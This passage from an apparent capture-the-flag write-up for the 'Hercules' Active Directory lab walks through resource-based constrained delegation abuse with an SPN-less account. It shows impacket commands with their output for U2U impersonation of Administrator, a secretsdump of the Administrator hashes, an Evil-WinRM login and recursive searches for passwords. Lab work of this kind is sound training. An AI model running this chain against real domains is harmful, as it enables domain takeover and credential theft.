getST.py -spn 'cifs/dc.hercules.htb' -impersonate Administrator -dc-ip 10.129.242.196 -k -no-pass 'hercules.htb/iis_webserver$'
[*] Impersonating Administrator
[*] Requesting S4U2self
[-] Kerberos SessionError: KDC_ERR_S_PRINCIPAL_UNKNOWN(Server not found in Kerberos database)
[-] Probably user iis_webserver$ does not have constrained delegation permisions or impersonated user does not exist

The problem is that iis_webserver$ has no SPN. Verify it with PowerShell:

Get-ADUser iis_webserver$ -Properties *
ServicePrincipalNames                : {}
UserPrincipalName                    : iis_webserver$@hercules.htb

Or with addspn.py from krbrelayx (https://github.com/dirkjanm/krbrelayx):

python3 krbrelayx/addspn.py -u 'hercules.htb\iis_webserver$' -k -t 'iis_webserver$' -s host/iis_webserver.hercules.htb -q dc.hercules.htb
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
DN: CN=IIS_Webserver$,OU=IIS Service Users,OU=DCHERCULES,DC=hercules,DC=htb - STATUS: Read - READ TIME: 2026-02-11T04:00:20.395715
    sAMAccountName: iis_webserver$

Adding an SPN also fails because we do not have the required permissions:

python3 krbrelayx/addspn.py -u 'hercules.htb\iis_webserver$' -k -t 'iis_webserver$' -s host/iis_webserver.hercules.htb dc.hercules.htb
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
[+] Found modification target
[!] Could not modify object, the server reports insufficient rights: 00002098: SecErr: DSID-031514B3, problem 4003 (INSUFF_ACCESS_RIGHTS), data 0

An SPN-less user can still be used for RBCD. This is explained by James Forshaw at https://www.tiraniddo.dev/2022/05/exploiting-rbcd-using-normal-user.html and at https://www.thehacker.recipes/ad/movement/kerberos/delegations/rbcd#rbcd-on-spn-less-users.

Convert the password to an NT hash:

python3 -c 'from impacket.ntlm import compute_nthash; print(compute_nthash("Summer2025!").hex())'
008defc8e9f9bfb3ebca2f665d3e36b8

Request a ticket and retrieve its session key:

getTGT.py 'hercules.htb'/'iis_webserver$' -hashes ':008defc8e9f9bfb3ebca2f665d3e36b8' -dc-ip 10.10.11.91
describeTicket.py 'iis_webserver$.ccache' | grep 'Ticket Session Key'
[*] Saving ticket in iis_webserver$.ccache
[*] Ticket Session Key            : c916470e4e903c97c4230db6260a4856

Use changepasswd.py with the session key:

changepasswd.py -newhashes ':c916470e4e903c97c4230db6260a4856' 'hercules.htb'/'iis_webserver$':'Summer2025!'@'dc.hercules.htb' -k -no-pass -dc-ip 10.10.11.91
[*] Changing the password of hercules.htb\iis_webserver$
[*] Connecting to DCE/RPC as hercules.htb\iis_webserver$
[*] Password was changed successfully.
[!] User might need to change their password at next logon because we set hashes (unless password never expires is set).

Now request the service ticket with U2U:

getST.py -spn 'cifs/dc.hercules.htb' -impersonate 'Administrator' -u2u -dc-ip 10.10.11.91 -k -no-pass hercules.htb/'iis_webserver$'
export KRB5CCNAME='Administrator@cifs_dc.hercules.htb@HERCULES.HTB.ccache'
[*] Impersonating Administrator
[*] Requesting S4U2self+U2U
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@cifs_dc.hercules.htb@HERCULES.HTB.ccache

Dump the Administrator hash:

secretsdump.py -k -no-pass -just-dc-user Administrator 'hercules.htb'/'Administrator'@'dc.hercules.htb'
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:56855ee6b7570edefde6ac262200756e:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:7ee4577fd299aa0fa5b8a0643426ff61501f42201f769afce56d633f29044168
Administrator:aes128-cts-hmac-sha1-96:6d25866356feeea0abf920fd58fccf03
Administrator:des-cbc-md5:e5d92fc1b3704a15
[*] Cleaning up...

Request an Administrator TGT and connect with Evil-WinRM:

getTGT.py 'hercules.htb'/'Administrator' -hashes ':56855ee6b7570edefde6ac262200756e' -dc-ip 10.10.11.91
export KRB5CCNAME='Administrator.ccache'
evil-winrm -i dc.hercules.htb -u Administrator -r hercules.htb -P 5986 -S

We get a PowerShell shell as Administrator. The root flag is in:

C:\Users\Admin\Desktop\root.txt

Useful PowerShell commands

Find all files and directories in the current directory and its subdirectories:

Get-ChildItem -Recurse -File -Force

Search for the word password in files and subdirectories of the current directory:

Get-ChildItem -Recurse -File -Force | Select-String -Pattern 'password'